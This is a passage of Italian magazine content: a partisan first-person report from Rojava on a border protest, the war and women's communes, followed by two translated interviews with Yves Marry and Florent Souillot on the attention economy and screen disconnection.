Il confine è stato varcato e la bandiera dello stato turco tirata giù e calpestata con gioia e forza da ragazzi e ragazze al grido di «Berxwedan Jiyan e» (la resistenza è vita), giusto prima che i militari raggiungessero nuovamente la loro postazione e costringessero tutte e tutti ad arretrare facendo fuoco. Per ore la situazione è continuata in questo modo: una schiera di militari turchi sparava in aria, bloccando l’accesso alla terra oltre il cancello e difendendo una linea di separazione che, come tutti i confini, ha un aspetto violento e tragico e uno ridicolo agli occhi dei popoli. Nel mentre però, la gente non smetteva di avanzare e alzare le mani nell’universale segno di pace, che qui in Medio Oriente ha negli anni acquisito un significato di pace radicata nella resistenza.
Il sole era alto nel cielo e all’uso degli idranti per allontanare le persone diversi arcobaleni sono apparsi tra la folla, creando una situazione surreale in cui le armi, gli spari e le divise militari turche, normalmente elemento di pericolo mortale, sono diventate completamente insignificanti. In prima linea ragazze giovani si tenevano strette le une alle altre in un cordone di resistenza, dettando il rimo degli slogan che tutti gli altri dietro seguivano e rilanciavano gridando. Una grande cassa con la musica si è fatta spazio tra la folla, trasportata di spalla in spalla, e attorno a essa giovani e bambini hanno iniziato a ballare sotto gli spari e l’acqua degli idranti. Questo è lo spirito che vive qui, questo è il morale della resistenza della gente. «Fede ed entusiasmo non mancano mai» ha riassunto la comandante YPJ e membro del Comando Generale delle SDF Rohilat Afrin.
Da quel giorno ci sono state anche diverse persone ferite da questa parte del confine e diversi morti, tra cui bambini, dall’altra parte, in Bakur. Tuttavia, un messaggio più che chiaro è stato affermato e continua a guidare la vita ancora in questi giorni: la volontà di pace è insistente e troverà ogni via per continuare ad affermarsi.
Un punto fondamentale da avere chiaro è che questa è una guerra ideologica, in cui si sono contrapposte due mentalità, due paradigmi mentali completamente opposti e divergenti. Da un lato la linea fascista, patriarcale delle milizie fondamentaliste, dall’altra i valori della rivoluzione del Rojava, l’unione delle differenze, la liberazione delle donne e di genere, la democrazia radicale e l’ecologia sociale. L’attacco qui è alla proposta di vita che con l’Amministrazione Autonoma aveva trovato una sua prima forma pratica e politica, ossia quella della Nazione Democratica, la “comune delle comuni”. Al posto di uno stato con un unico potere, un’unica lingua e una realtà violentemente omogenizzata, la nazione democratica si impegna a tenere insieme in una convivenza organizzata tutti i colori della società, le diverse identità, religioni, lingue…
L’intero sistema ha una leadership molto chiara, che è quella delle donne, il soggetto veramente in grado di portare la linea dell’unità e della lotta. La liberazione delle donne è qui nel concreto l’unica possibilità di vera liberazione della società. Grazie a questo, la rivoluzione non è mai stata la corsa alla “presa del Palazzo d’Inverno”, al potere, bensì un lavoro sottile e al contempo massiccio e costante per l’educazione e la trasformazione sociale, ossia il cambio di mentalità e la trasformazione delle relazioni tra persone, tanto quanto con la terra.
Dove la famiglia è la cellula base dello stato, nella nazione democratica è invece la comune la struttura di base su cui tutta la società si fonda e le comuni delle donne sono la struttura che garantisce la saldezza della lotta al patriarcato nella realtà della Rivoluzione. Per questo, anche l’economia si articola su base comunale, grazie all’uso delle cooperative ecologiche e a pratiche di economia di scambio, circolare, il più possibile, ossia fin dove la guerra, che sempre minaccia questa terra, lo permette.[2]
Ovviamente non è una proposta che finisce ai confini di questo territorio, ma qui si è data come primo modello concreto di autogoverno democratico su larga scala. In risposta a questa esistenza-resistenza che da 15 anni lavora nel segno della trasformazione sociale e socialista, la strategia di guerra messa in atto dagli attacchi voleva esser volta alla sua distruzione materiale per quanto riguarda i territori e la liquidazione della resistenza, e al contempo alla distruzione ideologica per quanto riguarda la volontà di imporre la linea di uno stato nazionale siriano più o meno unificato (ricordiamo la non-questionata occupazione di Israele nel sud della Siria) che si inserisce nel piano più ampio e guidato dalle potenze egemoni come gli Stati Uniti per ridisegnare l’intero Medio Oriente.
Gli attacchi sono stati brutali in particolar modo contro le istituzioni delle donne, ad Aleppo così come nelle zone a maggioranza araba di Raqqa e Tabqa. Dalle comuni alle librerie delle donne e ai centri di ricerca e ritrovo, tutto è stato bruciato o distrutto, perché la situazione sociale rispecchiava il fatto che fossero le donne le principali portatrici di emancipazione, partendo nella loro lotta dal mettere in discussione il loro status di prigioniere nelle case o proprietà del marito o oppresse da un’interpretazione patriarcale e fondamentalista del loro credo. Dove l’Islam stava assumendo forza in quanto religione democratica e le donne si stavano lasciando alle spalle per davvero la vita di oppressione violenta vissuta sotto l’ISIS e il Regime di Baath, gli attacchi sono stati particolarmente chiari nell’affermare che per la linea del governo attuale, così come per quella degli stati egemonici che lo sostengono e manovrano, il libero pensiero, la libertà nella fede e l’emancipazione della volontà e della vita delle donne non possono essere accettate. È chiaro che quanto la Rivoluzione afferma sin dall’inizio, ossia che sono le donne organizzate e le comuni delle donne il primo seme rivoluzionario, è vero anche nelle valutazioni – e nelle paure! – della controparte nemica.
C’è in questo punto qualcosa di difficile da affrontare all’interno di un racconto breve come questo, ma che è importante aprire perché costituisce un nodo importante nella realtà della società sul territorio, ossia la “guerra speciale” (nel senso di non ortodossa) portata avanti sul campo tanto quanto nei media per fomentare la separazione su base etnica tra popolazione araba e curda.
Questa è attualmente una strategia che in parte della società sta anche attecchendo, perché sfrutta a proprio favore la paura, il “sospetto per il proprio vicino” che in una guerra come questa è molto facile che emerga, così come sfrutta ciò che i molti anni di vita sotto un regime d’odio e separazione hanno creato nelle psicologie della gente. Inoltre, durante quest’ultima guerra anche gli sforzi delle milizie nemiche nel documentare uccisioni di donne e uomini curdi e non arabi è stato incredibile. Numerosissimi sono i video, da Aleppo a Raqqa, in cui si mostrano civili ammassati e tenuti fermi sotto minaccia di morte e in cui le voci dei miliziani dicono cose come «questi sono cani, sono curdi, vanno ammazzati. Loro no, sono arabi e non li ammazziamo»; così come ben noto è il video del bambino a cui vien chiesto chi è e alla risposta «sono curdo» viene brutalmente tolta la vita.
Questa è stata anche la realtà di questi mesi in questa terra, ma al contempo è bene essere molto consapevoli che non è affatto vero che la popolazione araba è stata “risparmiata”. In primis perché l’operazione mediatica che questi video portavano avanti è in realtà molto chiara sul piano ideologico e non dobbiamo cascarci, e poi perché la resistenza è stata del popolo, non solo curda, e lo testimoniamo le e i numerosi martiri arabi che han dato la vita per la difesa della Rivoluzione, la gente ferita e quella sopravvissuta. Inoltre, non venire uccise ma dover tornare sotto il regime di forze come l’ISIS o HTS non dà alcun tipo di sollievo. Nella regione di Tabqa e Raqqa, un paio di giorni dopo che queste forze ne hanno preso il controllo, sono state distribuite copie del Corano e veli neri per ogni donna, casa per casa. Un solo ordine, un solo potere, un unico dio: questa è la loro linea, che porta morte e fascismo.
In questo, la questione della mentalità è centrale, perché per comprendere con serietà questa guerra, così come questa fase di negoziati per l’integrazione, raccontata ora dal cinismo alienato dell’Occidente come “la fine del Rojava” o il “dopo la Rivoluzione”, serve andare più a fondo nella realtà della società.
Ancora una volta, torniamo alla comune delle donne.
Quando, prima della guerra, siamo state al Centro delle donne di Zenobia in Raqqa, abbiamo sentito storie di resistenza quotidiane, una lotta che iniziava prima ancora dell’incontrarsi lì, perché è già qualcosa per cui hanno dovuto lottare: passare oltre alle volontà del marito e alle aspettative sociali e uscire di casa recandosi in un posto in cui si sarebbero trovate con altre donne, è già iniziare una rivoluzione. Da questo coraggio che le porta fuori dalle case inizia il sovvertimento dell’ordine generale e creare una comune di donne che ogni giorno organizza la propria vita sulla base della volontà comune e non su quella del marito o della famiglia opprimente, significa creare un motore di liberazione che molto velocemente apre la strada anche alle altre donne. Questo non sul piano teorico, ma proprio guardando come è andata la storia fin qui.
La comune delle donne di Aleppo nei primi giorni di guerra è stata quella che ha dettato la linea del decidere di non lasciare i quartieri e rimanere a difendere fino alla fine; una donna che ne fa parte ci ha detto: «La comune delle donne deve essere la base di un vero socialismo, perché se le donne di una società non sono liberate, la società non può essere libera».
“Rivoluzione” vuol dire rivolgimento, volgere di nuovo, ossia è una parola che ci parla di movimento, di trasformazione e cambiamento. Nella storia però questo non avviene semplicemente sostituendo il vecchio col nuovo e l’oppressione e la liberazione non sono né fatti né oggetti, bensì processi, che riposano sul piano materiale tanto quanto su quello della mentalità.
Per costruire la mentalità dell’oppressione e dei popoli oppressi, secoli e secoli di orrende pratiche hanno sviluppato “ottimi” strumenti, patriarcato e stato in primis. Questi sono una realtà materiale tanto quanto una mentalità. La mentalità della mascolinità dominante va insieme a quella burocratica, che legge la realtà come statica nelle sue forme, che categorizza la vita, una mentalità controllante, volta al monopolio e al profitto.
Cosa vuol dire per un popolo vivere a lungo sotto un regime di questo tipo? (Cosa vuol dire per noi?) E quindi cosa vuol dire rivoluzionare la mentalità di un’intera società? Quanto tempo può impiegare? Cosa permette al nuovo di sedimentare e poi di venir passato di generazione in generazione?
Possiamo farci queste e altre domande anche a partire dalle nostre “vite europee”, perché nonostante tutti i diritti e le possibilità conquistate da secoli di lotte, ancora non siamo libere da queste mentalità e, per esempio, ora facciamo fatica a comprendere che una rivoluzione non cade con un’integrazione delle forze militari, non finisce con il cambio della forma o dei “confini”, non è un oggetto che puoi sostituire con un altro, bensì un movimento storico che agisce molto più in profondità. Se si fosse seguita la linea della lotta militare fino in fondo per “proteggere i territori della rivoluzione”, avrebbe voluto dire essere disposti a considerare l’opzione del genocidio. E questo, per un’amministrazione socialista e democratica che rifiuta di mettere la propria esistenza prima di quella del popolo che la compone, sarebbe stato semplicemente tradimento.
Quale mentalità della sconfitta guida i nostri pensieri quando caschiamo in queste semplici trappole del vedere bianco/nero, di non riuscire a uscire dagli occhi dello stato? Cosa vuol dire avere un tale livello di sfiducia nella lotta dei popoli?
Se scordiamo il significato di “rivoluzione” e la appiattiamo sul controllo delle terre, delle risorse e delle forze militari, facciamo il gioco degli stati. Anche di quelli rossi che furono.
Fare una rivoluzione socialista con la liberazione di genere come primo pilastro vuol dire prendersi la responsabilità storica di non ripetere l’errore del socialismo reale, sia per quanto riguarda la creazione di uno stato o di un’entità analoga statica e barricata in se stessa, sia per la lotta di genere contro il patriarcato.
Ora anche noi internazionaliste e internazionalisti, ovunque nel mondo, dobbiamo restituire questa serietà alla Rivoluzione e chiederci con che occhi guardiamo alla sua storia e alla sua realtà attuale: sono quelli dello stato o della comune?
Il processo di integrazione qui in Nord-Est della Siria, così come il processo di pace con la Turchia aperto dall’Appello per la Pace e la Società Democratica lanciato nel febbraio 2025 dal leader curdo Abdullah Öcalan, non sono fatti o momenti che chiudono la lotta e anzi, questa si è molto intensificata, aprendo una nuova fase per l’esistenza-resistenza curda, così come per l’internazionalismo. Il Confederalismo Democratico come proposta e quindi l’intero sistema delle comuni, dei consigli e della Nazione Democratica non si è mai dato come una forma chiusa e pronta all’uso. Si tratta di forme organizzative della società per la società, che quindi seguono i suoi bisogni tanto quanto i suoi tempi di cambiamento e di lotta.
Ora si tratta di avere profonda fiducia politica nei 15 anni (una cinquantina se li si conta dalla fondazione del PKK, Partito dei Lavoratori del Kurdistan) di lavoro rivoluzionario nella e della società. Un lavoro che in generale è impossibile annullare, perché è una realtà in cui le avanguardie sono state e sono ancora le donne della società, cuore del tessuto del popolo. Ci sono ormai diverse generazioni di giovani cresciute con un modo di approcciare la vita che non ha niente a che vedere con quello del patriarcato e dello stato. E ci sono donne che ora sorridendo dicono «qui sono nata di nuovo», indicando Jinwar, il villaggio autonomo di donne in Rojava. C’è qui un radicamento geografico e storico che è tanto fatto pratico quanto intimo di ognuna. L’antico – il ricordo delle civiltà mesopotamiche raccolte attorno alle Dee Madri – guida verso il nuovo, in un movimento lento e costante di cui le comuni delle donne si fanno custodi. Come dicevo all’inizio, questa è la terra in cui la vita è in grado di essere davvero insistente e come mi ha detto un’amica – semplice e insieme poetica come tutte le rivoluzionarie: «la Rivoluzione delle donne è un ricordo del futuro».
[1]Per completezza, segnalo invece l’analisi politico-ideologica pubblicata sul sito di Jineoloji a fine gennaio. Porta il titolo di Difendere la vita e comprendere la realtà della guerra e in questa sede può essere utile per inquadrare le forze coinvolte negli attacchi alla Rivoluzione e le dinamiche politiche e ideologiche nelle motivazioni di questa guerra. <https://jineoloji.eu/it/2026/01/26/difendere-la-vita-e-comprendere-la-realta-della-guerra>.
[2] Ne abbiamo parlato recentemente anche in cinque brevi episodi podcast, ascoltabili online anche in italiano su Youtube, sotto il titolo Defending Life. <https://youtu.be/8FIZfbNJxes?si=boVqMyXm7XhpnV9O>.
La guerra per l’attenzione è una guerra totale Intervista di Catherine Marin a Yves Marry e Florent Souillot, “Reporterre”, www.reporterre.net
La «guerra per l’attenzione» ci fa passare il nostro tempo davanti agli schermi, scrivono Yves Marry e Florent Souillot. E i GAFAM si arricchiscono. Di fronte a questa “influenza emotiva”, gli autori promuovono spazi di disconnessione.
Yves Marry è stato dipendente di una ONG prima di diventare dirigente dell’associazione Lève les yeux! (Alza gli occhi!), che ha co-fondato nel 2018 con Florent Souillot, responsabile del digitale presso le edizioni Gallimard-Flammarion. Hanno scritto insieme La guerra per l’attenzione. Come non perderla, (Edizioni Malamente, 2026; ed. originale: L’échappée, 2022). L’associazione Lève les yeux! e il suo Collettivo per la riconquista dell’attenzione intervengono in particolare nelle scuole, dalla materna alle superiori, per sensibilizzare bambini, ragazzi e genitori sui pericoli sanitari e psichici dell’abuso degli schermi e promuovere momenti di disconnessione.
Reporterre: Con La guerra per l’attenzione avete scritto un libro contro l’espansione incontrollata del digitale in tutti gli ambiti della vita sociale. Da quale esperienza ha tratto ispirazione la vostra analisi?
Yves Marry: Il primo shock emotivo l’ho avuto in Birmania. Lavoravo lì tra il 2014 e il 2018, quando il paese è stato coperto dalla rete 4G. Improvvisamente ho visto tutti i birmani, persone solitamente molto dignitose e rette, chinare il capo per immergersi nei loro smartphone, catturati dalle applicazioni digitali. La straordinaria animazione che fino ad allora riempiva ogni pomeriggio le strade di Yangon, con persone che suonavano la chitarra, altre che chiacchieravano, è svanita molto rapidamente. Le persone non parlavano più tra loro! È stato un vero shock e una grande tristezza… Ho visto l’alienazione stringersi molto rapidamente su menti che ammiravo per la loro maturità e la loro capacità di attenzione sostenuta grazie alla pratica della meditazione buddista. Una vera e propria colonizzazione dell’immaginario, come direbbe Serge Latouche. [leggi tutto…]
E poi, viaggiando molto tra il 2014 e il 2017, dal Sud-Est asiatico al Sud America, passando per la Russia, ho potuto constatarlo ovunque: in pochissimo tempo, il mondo intero aveva abbassato la testa!
Florent Souillot: Per me, il fattore scatenante è stato duplice: in primo luogo, è stato condividere con Yves questa sensazione di invasione degli schermi in tutte le relazioni sociali e amicali, un’invasione che ci stava facendo perdere qualcosa. Da qui la creazione dell’associazione Lève les yeux! nel 2018, poi del collettivo.
Inoltre, lavorando nell’editoria come responsabile digitale, al servizio quindi di questo formidabile strumento di sviluppo dell’attenzione che è il libro, mi occupo costantemente della questione dell’equilibrio tra carta e digitale.
Scrivete che questa cattura dell’attenzione è la manifestazione di un nuovo “capitalismo dell’attenzione”. Cosa intende dire con questo?
Yves Marry: Il capitalismo vede i suoi profitti minacciati dalla rarefazione delle risorse naturali: è grazie allo sfruttamento di queste risorse, come l’acqua, il petrolio, ecc., che è stato possibile accumulare profitti giganteschi. Con lo sviluppo tecnico digitale è apparsa una nuova risorsa: l’attenzione umana. Catturando questa risorsa è possibile vendere pubblicità mirata, raccogliere dati personali da rivendere, ecc. È ciò che chiamiamo «capitalismo dell’attenzione», espressione utilizzata per la prima volta da Yves Citton nel 2014.
In che modo l’uso del digitale da parte del capitalismo vi sembra così problematico?
Yves Marry: Il digitale sta determinando un’evoluzione di ordine antropologico nella nostra capacità di prestare attenzione a ciò che conta. Prendiamo ad esempio il caso dei minori di 18 anni. Circa il 90% dei contenuti che guardano su Internet sono pagine di social network, video, videogiochi e serie a volte molto violente, come GTA e Call of Duty, o pornografia. Se i ragazzi sono attratti da questo tipo di contenuti, è innanzitutto perché i progettisti di servizi digitali si rivolgono in primo luogo alle loro emozioni, suscitando paura ed eccitazione per rafforzare il loro potere di attrazione.
Questa immersione nel digitale fin dalla più tenera età ha gravi effetti sul loro sviluppo (ritardi linguistici o cognitivi) e, quindi, su scala sociale, conseguenze di ordine antropologico. Cattura l’attenzione, la disposizione a comprendere il mondo, a favore dell’“intrattenimento” e della dipendenza consumistica.
Nel vostro libro descrivete in dettaglio i danni subìti da bambini e ragazzi sovraesposti agli schermi (fino a 14 ore al giorno) da quando la scuola non è più un luogo protetto: disturbi del sonno, obesità, miopia, disturbi autistici, ecc. Il quadro che dipingete è terribile!
Yves Marry: Sì, a noi fa paura. Gli schermi hanno dimostrato la loro nocività per i bambini, dal punto di vista sanitario e cognitivo. Alcuni studi scientifici citati da M. Desmurget in Il cretino digitale (Rizzoli, 2020) hanno persino dimostrato che, sovraccaricando i loro riflessi, gli schermi hanno effetti deleteri sullo sviluppo della corteccia prefrontale, la zona del cervello che permette di proiettarsi nel tempo e di costruire progetti.
Al contrario, nessuno studio ha ancora dimostrato il loro interesse pedagogico. Gli schermi connessi hanno un costo economico ed ecologico enorme, ma lo Stato continua ostinatamente a voler dotare tutti i bambini francesi di tablet per l’apprendimento. È davvero incredibile.
L’influenza emotiva vale anche per gli adulti?
Florent Souillot: Assolutamente sì. Guardate come siamo costantemente spinti su Internet a valutare i servizi o le prestazioni ricevute, a mettere “mi piace” o meno, a dare la nostra opinione, preferibilmente negativa perché un’opinione negativa sarà più condivisa di una positiva. Anche sui siti di incontri, non si tratta di riconoscere l’altro, ma di “valutarlo”.
Gli effetti di questa influenza si vedono anche in ambito politico. I social network hanno sicuramente svolto un ruolo importante nella costituzione dei recenti movimenti sociali, dalla Primavera araba ai Gilet gialli. Ma il loro contributo è ambivalente, perché impongono una logica di flusso permanente. Tutto è fatto in modo che la parola sia rapida, tagliente, persino violenta, se non altro per il numero massimo di parole consentite in un tweet. E subito una lotta ne sostituisce un’altra: siamo sovrainformati, sovramobilitati da innumerevoli petizioni online… ma senza essere coinvolti in azioni che obbediscano alla logica dell’impegno collettivo basato sul dibattito e sulla concertazione. I presunti vantaggi per le mobilitazioni sono un’illusione. Fuori dal bozzolo digitale, la realtà sfugge.
Nel vostro libro si ha la sensazione che questa «guerra per l’attenzione» sia al centro di una battaglia culturale tra la civiltà digitale, con il suo immaginario di continua crescita e transumanista, e una civiltà ecologica in divenire.
Yves Marry: Sì, ci sembra che questa sarà la questione centrale dei prossimi anni. Vediamo chiaramente le gravi crisi ecologiche che ci attendono, con la rarefazione delle risorse, ecc. Di fronte a questa realtà, il discorso dominante, fortemente diffuso dai media, è tecnosoluzionista e rimanda effettivamente al sogno di un superuomo, di un uomo-macchina potenziato da chip, protesi, schermi, che rassicura, credo, molti esseri umani. Ma ricordiamoci che i propagatori di questo sogno, i miliardari della Silicon Valley, mandano i propri figli nelle scuole Waldorf, istituti costosissimi dove i bambini non hanno schermi prima dei 14 anni, giocano tra gli alberi e sono circondati da molte persone, umane, che si prendono cura di loro…
La propaganda però è forte. Il mito della «crescita verde», con le sue «energie pulite» e le sue «città intelligenti», è lì per alimentare la speranza che saremo in grado di mantenere i nostri livelli di vita e persino di continuare a crescere raggiungendo la neutralità carbonica. Un’enorme farsa, ma che permette ai grandi interessi economici di perpetuarsi, con la convergenza delle lobby del nucleare, delle auto elettriche, delle reti elettriche, ecc.
È quindi necessario opporre a tutto questo una visione di riconciliazione con il vivente capace di entusiasmare. Si tratta di un’aspirazione che, del resto, è profonda nell’essere umano. Dai sondaggi pare che questa utopia ecologista di sobrietà e legame con la natura sia preferita dalla maggioranza delle persone rispetto all’utopia tecnofila.
Florent Souillot: Di fronte a questo tecnosoluzionismo e alle sue mistificazioni, vorrei ricordare che la decrescita è anche una battaglia culturale da combattere: come vivere in modo diverso il rapporto con se stessi, con il vivente, per considerare con più calma il rapporto con una necessaria sobrietà? A questo proposito, insistiamo molto sul fatto che la questione della disconnessione è fondamentale: l’interiorità deve poter essere preservata.
Ciò è tanto più necessario in quanto questa «guerra per l’attenzione» di cui parliamo è una guerra particolare: non è immediatamente visibile. Eppure è una guerra totale: riguarda tutti, ovunque, in tutti i settori dell’esistenza (dall’istruzione alle relazioni amorose, passando per il lavoro) e tutte le classi sociali, soprattutto le più povere. Crea dei “signori della guerra”, i GAFAM, che registrano profitti astronomici, e molte vittime.
Tuttavia, non c’è un dibattito democratico su tali questioni: in che modo il digitale è utile? Dove ne abbiamo bisogno? In che misura? Noi pensiamo invece che questo dibattito debba aver luogo, che sia finalmente giunto il momento che abbia luogo. La nostra speranza è che sia portato avanti dagli ecologisti, dai movimenti per il clima e dai rappresentanti politici, in relazione alle questioni della transizione ecologica e della decrescita. Una ricca tradizione di ecologia politica ci invita a farlo: da Bernard Charbonneau a Jacques Ellul, Ivan Illich, Murray Bookchin… Sì, questa è la speranza del libro: che il concetto di «disconnessione» serva a riconquistare l’attenzione a beneficio di tutti gli esseri viventi.
Quali misure potrebbe proporre l’ecologia politica per favorire questa controcultura dell’attenzione?
Yves Marry: Mi sembra che una delle idee principali potrebbe essere quella di moltiplicare i rifugi di disconnessione nelle città, con una politica urbana che favorisca i luoghi senza schermi, come i giardini collettivi, liberi le strade dagli schermi pubblicitari, ecc. Bisognerebbe anche preservare le scuole elementari dagli schermi e promuovere una politica di prevenzione rivolta a genitori e bambini molto più ambiziosa di quella attuale: niente schermi prima dei 5 anni, come raccomandato dall’OMS, niente smartphone prima dei 15 anni, ecc. E sviluppare un diritto alla protezione dell’attenzione.
Florent Souillot: In inglese, “fare attenzione” si dice “to pay attention”: rende bene l’idea che l’attenzione ha un prezzo. Purtroppo, la lingua francese è più ambivalente (si “presta” attenzione), e quindi spesso si ha l’idea che l’attenzione sia qualcosa che si percepisce, ma che non ha valore. Questa questione semantica è interessante, perché ci porta a interrogarci sul prezzo reale della nostra attenzione, sul fatto che oggi siamo un bersaglio, che siamo trasformati in oggetti, ma che abbiamo anche le chiavi per reagire!
La decrescita, con i suoi luoghi che favoriscono la disconnessione, non appare più solo come una gestione misurata delle risorse naturali, ma come un nuovo orizzonte di realizzazione personale. Quindi proteggere l’attenzione significa anche questo: percepire il nostro valore, il valore della nostra attenzione, e difenderlo.
L’attenzione è la nuova risorsa rara da proteggere Intervista di Édouard Laugier a Yves Marry e Florent Souillot, “Le nuovel economiste”, www.lenouveleconomiste.fr
È in corso una guerra per conquistare la nostra attenzione. E noi la stiamo perdendo, sostengono Yves Marry e Florent Souillot. I due autori, fondatori dell’associazione Lève les yeux! (Alza gli occhi!), mettono in guardia dai numerosi danni causati dal digitale, che ci fa trascorrere la maggior parte del nostro tempo davanti a uno schermo. Obesità o disturbi del sonno nei più giovani, isolamento e perdita dei legami sociali, dittatura delle emozioni e isterizzazione del dibattito pubblico e, naturalmente, catastrofe ecologica.
Yves Marry e Florent Souillot mostrano come il nostro tempo cerebrale disponibile sia diventato il nuovo oro grigio delle multinazionali digitali. Propongono quindi soluzioni politiche concrete per riconquistare collettivamente la nostra attenzione. Una di queste è un’azione piuttosto semplice: disconnettersi. Trascorrere una serata o un fine settimana senza smartphone… bastava solo pensarci. Non è poi così stupido, e infatti perfino alcune aziende stanno iniziando a imporre ai propri dipendenti dei periodi di disconnessione. Allora, quando vedremo l’avvertenza: «l’uso eccessivo degli schermi nuoce gravemente alla salute»?
Édouard Laugier: Gli schermi sono ovunque. In media sette schermi per famiglia. I tempi di utilizzo sono impressionanti: 10 ore per gli adulti e fino a 13 ore e mezza per i giovani tra i 16 e i 24 anni! A leggere il vostro libro, gli usi principali riguardano soprattutto l’intrattenimento. Le coppie diventano mute, i genitori assenti. Come siamo arrivati a questo punto?
Florent Souillot: L’arrivo massiccio degli smartphone negli ultimi dieci anni e poi la crisi sanitaria sono stati fattori di accelerazione nell’aumento massiccio del tempo trascorso davanti allo schermo. E questo è solo l’inizio, ci attende l’imminente esplosione del numero di oggetti connessi promessa dalle industrie digitali. Se Internet prometteva trasparenza e condivisione, gli ultimi anni hanno visto trionfare la mercificazione e il controllo, con logiche ormai difficili da comprendere per i cittadini e servizi basati su algoritmi controllati solo da pochi grandi attori egemonici. Siamo passati dall’era dei baroni del petrolio e della predazione delle risorse naturali a una nuova fase del capitalismo in cui è il nostro cervello a essere preso di mira e sfruttato senza regole: il capitalismo dell’attenzione.
È un’epoca caratterizzata dall’estrema concentrazione della ricchezza mondiale e del potere nelle mani di poche aziende, i famosi GAFAM, che mantengono la loro redditività tecnologica grazie ai dati raccolti, al tempo trascorso davanti allo schermo e al coinvolgimento degli utenti.
Quali sono i principali danni di questa dipendenza generalizzata?
Yves Marry: Sono molteplici! Quasi ogni settimana, un nuovo studio dimostra le drammatiche conseguenze della nostra sovraesposizione agli schermi… Per riassumere, riteniamo che ci sia un’urgenza nei confronti dei più giovani, che sono i più vulnerabili: ritardi nel linguaggio, calo della concentrazione, della memoria, dell’intelligenza, del sonno, aumento dell’obesità, dell’aggressività, del malessere. La loro salute fisica e mentale è realmente e fortemente compromessa, non si può più negarlo.
Inoltre, più in generale, c’è l’isolamento in quello che Alain Damasio chiama il «bozzolo tecnologico», un calo dell’empatia, un aumento del narcisismo, una difficoltà ad ascoltare l’altro, a mobilitare la razionalità piuttosto che l’emozione, e quindi un’isterizzazione del dibattito pubblico che rappresenta una seria minaccia per le nostre democrazie.
Infine, pensiamo che questa era del “tutto digitale” sia una catastrofe ecologica: estrazione di terre rare, uso massiccio e crescente di elettricità, raffreddamento dei centri dati, riciclaggio inadeguato… Il costo energetico è enorme, come hanno dimostrato moltissimi studi.
Eppure gli schermi ci facilitano la vita, ci rendono più autonomi…
Yves Marry: Bisognerebbe chiedere al 40% delle persone che non riescono più ad accedere ai propri diritti – essenzialmente a causa della “dematerializzazione” – se sono d’accordo… E allo stesso modo a tutti coloro che non possono più fare a meno del proprio smartphone per cose semplici come orientarsi, discutere, scambiare opinioni, contemplare un paesaggio. Siamo diventati dipendenti da questi strumenti in misura preoccupante.
Senza dubbio è necessario mettersi d’accordo sul termine autonomia. Per essere autonomi, è necessaria una distanza critica, che risiede nella corteccia prefrontale, e che si va esaurendo nell’era dello zapping permanente, quando l’attenzione “riflessiva” prende il sopravvento sull’attenzione profonda. La tecnologia digitale ci offre dei servizi, accelera i processi e, in alcuni casi, può aumentare l’efficienza delle procedure. Una piccola parte di noi, spesso i più integrati socialmente, è agile e abile con i propri schermi, il che dà un’illusione di fluidità e facilità. Ma, fondamentalmente, rendendoci sempre più dipendenti da strumenti che non comprendiamo, rinchiudendoci in un comfort astratto, i nostri schermi ci fanno perdere la nostra forza vitale (tatto, vista, olfatto, senso dell’orientamento, empatia, ecc.): portano all’alienazione, che è l’opposto dell’autonomia.
Il vostro libro mette in luce una guerra per conquistare l’attenzione, il «nuovo oro grigio», ovvero la disponibilità del nostro cervello. Scrivete che «l’estrazione dell’attenzione è diventata la pietra angolare dello sviluppo dei GAFAM». In che modo queste multinazionali ci rendono dipendenti?
Florent Souillot: La captologia (nuova scienza il cui nome deriva da “computers as persuasive technology”) mette in atto i metodi di manipolazione offerti dalla tecnologia. Ponendola al centro della loro strategia industriale, i GAFAM e i loro satelliti impiegano team composti da ricercatori in scienze cognitive e sviluppatori il cui obiettivo è quello di progettare servizi in grado di colpire i punti deboli del nostro cervello (i “bias cognitivi”) stimolando o inibendo i nostri diversi regimi di attenzione. La sfida è quella di rendere questi servizi indispensabili e abituali, anche a costo di creare bisogni dal nulla.
Le tecniche possono essere piuttosto grossolane, ma il più delle volte sono nascoste (si parla allora di dark patterns). Si pensi allo scroll infinito sorretto da ricompense casuali su Facebook e Instagram, alla gratificazione sociale costante sui social network, ai cicli di feedback sempre più rapidi, ecc. Tutti questi esempi fanno parte dello stesso sforzo per attirare l’utente e fidelizzarlo nel tempo, garantendo enormi profitti tecnologici.
Dati, velocità, potenza di calcolo: i captologi fanno di tutto per aumentare il nostro tempo davanti allo schermo, il nostro coinvolgimento, per raccogliere i nostri dati e prevedere i nostri comportamenti. E dal momento in cui agiamo su queste piattaforme, collaboriamo a questo sistema. In concreto, ciò significa che alcune delle aziende più ricche del pianeta possono ora, grazie alla captologia, influenzare in tempo reale le azioni di miliardi di esseri umani.
L’economia dell’attenzione è il motore del capitalismo digitale. Tuttavia, stiamo assistendo a una ripresa del controllo politico. Sembra che si stia delineando un percorso verso una prospettiva più responsabile. Si tratta di una svolta o di un miraggio?
Florent Souillot: Una svolta è in atto, ma è ancora troppo timida. Da un lato, infatti, c’è la presa di coscienza ecologica, con la constatazione condivisa della finitezza delle nostre risorse e dei rischi di perpetuare un modello di crescita mortale per il nostro pianeta e per gli esseri umani. D’altra parte, c’è una presa di coscienza da parte dei regolatori, degli insegnanti, dei genitori e dei cittadini: non passa giorno senza che nuove testimonianze e studi informino sui danni causati dagli schermi. Ciò che manca ora sono azioni politiche forti volte alla disconnessione e alla regolamentazione.
È necessario proteggere i più esposti, i più giovani e i più vulnerabili. Bisogna proteggere la scuola, che non deve diventare la testa di ponte della digitalizzazione, ma restare uno spazio preservato dalla mercificazione del mondo, in grado di formare cittadini informati e attivi. Bisogna smettere di correre avanti nella digitalizzazione dei servizi pubblici e lasciare la scelta ai cittadini. Bisogna rafforzare il diritto alla disconnessione dei lavoratori, delle famiglie, degli insegnanti. Ne va delle nostre libertà e dei nostri figli, del nostro modello di società e del nostro futuro comune. Infine, dobbiamo reimparare a discutere serenamente di queste questioni.
Per uscire da questa alienazione tecnologica, auspicate una «politica dell’attenzione». Quali sono i suoi grandi principi guida?
